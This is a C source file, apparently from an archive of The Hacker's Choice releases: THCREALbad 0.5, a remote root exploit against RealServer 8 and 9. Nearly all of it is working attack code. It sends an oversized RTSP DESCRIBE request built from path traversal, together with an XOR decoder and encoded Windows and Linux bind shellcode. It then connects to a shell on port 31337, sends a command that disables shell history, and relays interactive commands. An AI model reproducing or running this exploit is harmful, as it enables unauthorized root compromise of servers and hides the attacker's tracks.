initial push of all stuff :)
[oweals/thc-archive.git] / Exploits / THCrealbad.c
1 /*****************************************************************************/\r
2 /* THCREALbad 0.5 - Wind0wZ & Linux remote root exploit                      */\r
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
4 /* THC PUBLIC SOURCE MATERIALS                                               */\r
5 /*                                                                           */\r
6 /* This exploit was an 0day from some time, but as CANVAS leaked and kiddies */\r
7 /* exploited this bug like hell, realnetworks got info on that bug and posted*/\r
8 /* a workaround on their site. So THC decided to release this one to the     */\r
9 /* public now. Fuck u kiddies ! BURST IN HELL !                              */\r
10 /*                                                                           *//*                                                                           */\r
11 /* Also try the testing mode before exploitation of this bug, what OS is     */\r
12 /* running on the remote site, to know what type of shellcode to use.        */\r
13 /*                                                                           */\r
14 /* Greetings go to Dave Aitel of Immunitysec who found that bug.             */\r
15 /*                                                                           */\r
16 /* compile with MS Visual C++ : cl THCREALbad.c                              */\r
17 /*                                                                           */\r
18 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
19 /* scut, stealth, zip, zilvio, LSD and Dave Aitel                            */\r
20 /*****************************************************************************/\r
21 \r
22 #include <stdio.h>\r
23 #include <stdlib.h>\r
24 #include <string.h>\r
25 #include <winsock2.h>\r
26 \r
27 #define WINDOWS 0\r
28 #define LINUX 1\r
29 #define OSTESTMODE 2\r
30 \r
31 #pragma comment(lib, "ws2_32.lib")\r
32 \r
33 #define CMD "unset HISTFILE;uname -a;id;\n"\r
34 \r
35 char ostestmode[] = "OPTIONS / RTSP/1.0\r\n\r\n";\r
36  \r
37 char attackbuffer1[] =\r
38 "DESCRIBE /"\r
39 "../../../../../../../../../../../../../../../../../../../../"\r
40 "../../../../../../../../../../../../../../../../../../../../"\r
41 "../../../../../../../../../../../../../../../../../../../../"\r
42 "../../../../../../../../../../../../../../../../../../../../"\r
43 "../../../../../../../../../../../../../../../../../../../../"\r
44 "../../../../../../../../../../../../../../../../../../../../"\r
45 "../../../../../../../../../../../../../../../../../../../../"\r
46 "../../../../../../../../../../../../../../../../../../../../"\r
47 "../../../../../../../../../../../../../../../../../../../../"\r
48 "../../../../../../../../../../../../../../../../../../../../"\r
49 "../../../../../../../../../../../../../../../../../../../../"\r
50 "../../../../../../../../../../../../../../../../../../../../"\r
51 "../../../../../../../../../../../../../../../../../../../../"\r
52 "../../../../../../../../../../../../../../../../../../../../"\r
53 "../../../../../../../../../../../../../../../../../../../../"\r
54 "../../../../../../../../../../../../../../../../../../../../"\r
55 "../../../../../../../../../../../../../../../../../../../../"\r
56 "../../../../../../../../../../../../../../../../../../../../"\r
57 "../../../../../../../../../../../../../../../../../../../../"\r
58 "../../../../../../../../../../../../../../../../../../../../"\r
59 "../../../../../../../../../../../../../../../../../../../../"\r
60 "../../../../../../../../../../../../../../../../../../../../"\r
61 "../../../../../../../../../../../../../../../../../../../../"\r
62 "../../../../../../../../../../../../../../../../../../../../"\r
63 "../../../../../../../../../../../../../../../../../../../../"\r
64 "../../../../../../../../../../../../../../../../../../../../";\r
65 \r
66 char attackbuffer2[] =\r
67 ".smi RTSP/1.0\r\n\r\n";\r
68 \r
69 char decoder[] =\r
70 "\xcc\xcc\x90\x8b\xfd\x83\xc7\x37\x33\xc9\xb2\x90\x66\x81\xc1"\r
71 "\x02\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7";\r
72 \r
73 char linuxshell[] =\r
74 "\x32\xc3\x32\xd8\x32\xca\x52\xb2\x05\x52\xb2\x02\x52\xb2\x01"\r
75 "\x52\x8a\xe2\xb0\x02\xb3\x65\xce\x83\x8a\xc2\x32\xc3\x32\xd8"\r
76 "\x53\x53\x53\x65\x6b\x79\x6a\xb0\x01\x65\x50\x8a\xe1\xb0\x13"\r
77 "\x50\xb0\x01\x51\x52\x8a\xc9\x8a\xe2\xb3\x65\xce\x83\x32\xd8"\r
78 "\x3a\xc0\x77\x06\x32\xc3\x43\xce\x83\x32\xc3\x53\x51\x8a\xe2"\r
79 "\xb0\x07\xb3\x65\xce\x83\x8a\xd4\x32\xc3\x32\xd8\x32\xca\xb0"\r
80 "\x12\xb2\x02\xb3\x33\xce\x83\x32\xc3\x32\xd8\x53\x53\x54\x8a"\r
81 "\xe2\xb0\x06\xb3\x65\xce\x83\x8a\xc5\x32\xc3\x32\xd8\xb3\x01"\r
82 "\xce\x83\x3a\xc0\x76\x43\x32\xc3\x8a\xf8\xb3\x05\xce\x83\x32"\r
83 "\xc3\x32\xca\x8a\xf0\xb3\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3"\r
84 "\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3\x3d\xfd\xc3\xce\x83\x32"\r
85 "\xc3\x53\x6b\x2c\x2c\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x88"\r
86 "\x57\x27\x0b\x53\x50\x8a\xe2\xb3\x08\xce\x83\x32\xc3\x43\xce"\r
87 "\x83\x32\xc3\x8a\xf0\xb3\x05\xce\x83\xe8\x9a";\r
88 \r
89 char w32shell[] =\r
90 "\x7b\xb3\xea\xf9\x92\x95\xfc\xc9\x68\x8d\x0c\x4e\x1c\x41\xdc"\r
91 "\xe0\x44\x93\x60\xb7\xb0\xb0\xa0\x98\xc7\xc3\xa2\xcf\xa3\xa2"\r
92 "\xbe\xd4\xdc\xdc\x91\x7b\x95\x78\x69\x6f\x6f\x6f\xcd\x13\x7d"\r
93 "\xba\xfa\xa0\xc9\xf4\x1b\x91\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b"\r
94 "\xe8\x98\x1d\xcf\xac\x1b\x8b\x91\x6b\x1b\xcb\xe8\x91\x6b\x1b"\r
95 "\xdb\x8c\x91\x69\x1b\xc3\xb4\x91\x6a\xc3\xc1\xc2\x1b\xcb\xb0"\r
96 "\x91\x6b\xa1\x59\xd1\xa1\x50\x09\x1b\xa4\x1b\x91\x6e\x3c\xa1"\r
97 "\x52\x41\x72\x14\x50\xe5\x67\x9f\x26\xd5\x95\x1d\xd4\xd5\x94"\r
98 "\xf6\xa9\x80\xe5\x71\xf6\xa1\x80\xca\xc8\xce\xc6\xc0\xc2\xbb"\r
99 "\xde\x80\xd1\x9f\x27\x9c\xda\x1b\x94\x18\x91\x68\x9f\x26\xdd"\r
100 "\x95\x19\xd4\x1d\x48\x6e\xdd\x95\xe5\x2e\x6e\xdd\x94\xe4\xb1"\r
101 "\x6e\xdd\xb2\x1d\xcd\x88\xc3\x6f\x40\x19\x57\xfa\x94\xc8\x18"\r
102 "\xd5\x95\x10\xd5\xe7\x9a\x1d\xcd\xe4\x10\xfb\xb6\x84\x79\xe8"\r
103 "\x6f\x6f\x6f\x19\x5e\xa1\x4b\xc3\xc3\xc3\xc3\xc6\xd6\xc6\x6f"\r
104 "\x40\x07\xc5\xc8\xf6\x19\xa0\xfa\x80\xc5\xc7\x6f\xc5\x44\xde"\r
105 "\xc6\xc7\x6f\xc5\x5c\xc3\xc5\xc7\x6f\xc5\x40\x07\x1d\xd5\x18"\r
106 "\xc0\x6f\xc5\x74\xc5\xc5\x6f\xc5\x78\x1d\xd4\x95\x9c\x04\xc3"\r
107 "\xf8\xbe\xf5\xe8\xf5\xf8\xcc\xf3\xfd\xf4\x04\xa1\x42\x1d\xd5"\r
108 "\x5c\x04\xc7\xc7\xc7\xc3\xc3\x6e\x56\x91\x62\xc2\x04\x1d\xd5"\r
109 "\xe8\xc0\x1d\xd5\x18\xc0\x21\x98\xc3\xc3\xfa\x80\x6e\x5e\xc2"\r
110 "\xc3\xc3\xc3\xc5\x6f\xc5\x7c\xfa\x6f\x6f\xc5\x70";\r
111 \r
112 void usage();\r
113 void shell(int sock);\r
114 \r
115 int main(int argc, char *argv[])\r
116 {  \r
117   unsigned short realport=554;\r
118   unsigned int sock,addr,os,rc;\r
119   unsigned char *finalbuffer,*osbuf;\r
120   struct sockaddr_in mytcp;\r
121   struct hostent * hp;\r
122   WSADATA wsaData;\r
123 \r
124   printf("\nTHCREALbad v0.5 - Wind0wZ & Linux remote root sploit for Realservers 8+9\n");\r
125   printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
126 \r
127   if(argc<3 || argc>3)\r
128    usage();\r
129 \r
130   finalbuffer = malloc(2000);\r
131   memset(finalbuffer,0,2000);\r
132   \r
133   strcpy(finalbuffer,attackbuffer1);\r
134   os = (unsigned short)atoi(argv[2]);\r
135   switch(os)\r
136   {\r
137    case WINDOWS:\r
138     decoder[11]=0x90;\r
139     break;\r
140    case LINUX:\r
141     decoder[11]=0x03;\r
142     break;\r
143    case OSTESTMODE:\r
144     break;\r
145    default:\r
146     printf("\nillegal OS value!\n");\r
147     exit(-1);\r
148   }\r
149 \r
150   strcat(finalbuffer,decoder);\r
151   \r
152   if(os==WINDOWS)\r
153     strcat(finalbuffer,w32shell);\r
154   else\r
155     strcat(finalbuffer,linuxshell);\r
156 \r
157   strcat(finalbuffer,attackbuffer2);\r
158 \r
159   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
160   {\r
161    printf("WSAStartup failed !\n");\r
162    exit(-1);\r
163   }\r
164   \r
165   hp = gethostbyname(argv[1]);\r
166 \r
167   if (!hp){\r
168    addr = inet_addr(argv[1]);\r
169   }\r
170   if ((!hp)  && (addr == INADDR_NONE) )\r
171   {\r
172    printf("Unable to resolve %s\n",argv[1]);\r
173    exit(-1);\r
174   }\r
175 \r
176   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
177   if (!sock)\r
178   { \r
179    printf("socket() error...\n");\r
180    exit(-1);\r
181   }\r
182   \r
183   if (hp != NULL)\r
184    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
185   else\r
186    mytcp.sin_addr.s_addr = addr;\r
187 \r
188   if (hp)\r
189    mytcp.sin_family = hp->h_addrtype;\r
190   else\r
191    mytcp.sin_family = AF_INET;\r
192 \r
193   mytcp.sin_port=htons(realport);\r
194 \r
195   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
196   if(rc==0)\r
197   {\r
198     if(os==OSTESTMODE)\r
199     {\r
200      send(sock,ostestmode,sizeof(ostestmode),0);\r
201      Sleep(1000);\r
202      osbuf = malloc(2000);\r
203      memset(osbuf,0,2000);\r
204      recv(sock,osbuf,2000,0);\r
205      if(*osbuf != '\0')\r
206        for(; *osbuf != '\0';)\r
207        {\r
208          if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0))\r
209          {\r
210           if(*osbuf == '\x53' && *(osbuf + 1) == '\x65' && *(osbuf + 2) == '\x72' && *(osbuf + 3) == '\x76' && *(osbuf + 4) == '\x65' && *(osbuf + 5) == '\x72')\r
211           {\r
212              osbuf += 7;\r
213                printf("\nDetected OS: ");\r
214                while(*osbuf != '\n')\r
215                  printf("%c", *osbuf++);\r
216                printf("\n");\r
217                break;\r
218            }\r
219          }\r
220          osbuf++;\r
221        } \r
222      free(osbuf);\r
223     }\r
224     else\r
225     {\r
226      send(sock,finalbuffer,2000,0);\r
227      printf("\nexploit send .... sleeping a while ....\n\n");\r
228      Sleep(1000);\r
229     }\r
230   }\r
231   else\r
232    printf("can't connect to realserver port!\n");\r
233   \r
234   shutdown(sock,1);\r
235   closesocket(sock);\r
236   free(finalbuffer);\r
237   if(os==OSTESTMODE)\r
238    exit(0);\r
239 \r
240   sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
241   mytcp.sin_port = htons(31337);\r
242   rc = connect(sock, (struct sockaddr *)&mytcp, sizeof(mytcp));\r
243   if(rc!=0)\r
244   {\r
245    printf("can't connect to port 31337 ;( maybe firewalled ...\n");\r
246    exit(-1);\r
247   }\r
248   if(os==LINUX)\r
249    send(sock,CMD,sizeof(CMD),0);\r
250   shell(sock);\r
251   exit(0);\r
252 }\r
253  \r
254 void usage()\r
255 {\r
256  unsigned int a;\r
257  printf("\nUsage:  <Host> <OS>\n");\r
258  printf("0 = Wind0wZ\n");\r
259  printf("1 = Linux\n");\r
260  printf("2 = OS Test Mode\n");\r
261  exit(0);\r
262 }\r
263 \r
264 void shell(int sock)\r
265 {\r
266  int l;\r
267  char buf[1024];\r
268  struct timeval time;\r
269  unsigned long ul[2];\r
270 \r
271  time.tv_sec = 1;\r
272  time.tv_usec = 0;\r
273 \r
274  while (1)\r
275  {\r
276   ul[0] = 1;\r
277   ul[1] = sock;\r
278 \r
279   l = select (0, (fd_set *)&ul, NULL, NULL, &time);\r
280   if(l == 1)\r
281   {     \r
282    l = recv (sock, buf, sizeof (buf), 0);\r
283    if (l <= 0)\r
284    {\r
285     printf ("bye bye...\n");\r
286     return;\r
287    }\r
288   l = write (1, buf, l);\r
289    if (l <= 0)\r
290    {\r
291     printf ("bye bye...\n");\r
292     return;\r
293    }\r
294   }\r
295   else\r
296   {\r
297    l = read (0, buf, sizeof (buf));\r
298    if (l <= 0)\r
299    {\r
300     printf("bye bye...\n");\r
301     return;\r
302    }\r
303    l = send(sock, buf, l, 0);\r
304    if (l <= 0)\r
305    {\r
306     printf("bye bye...\n");\r
307     return;\r
308    }\r
309   }\r
310  }\r
311 }\r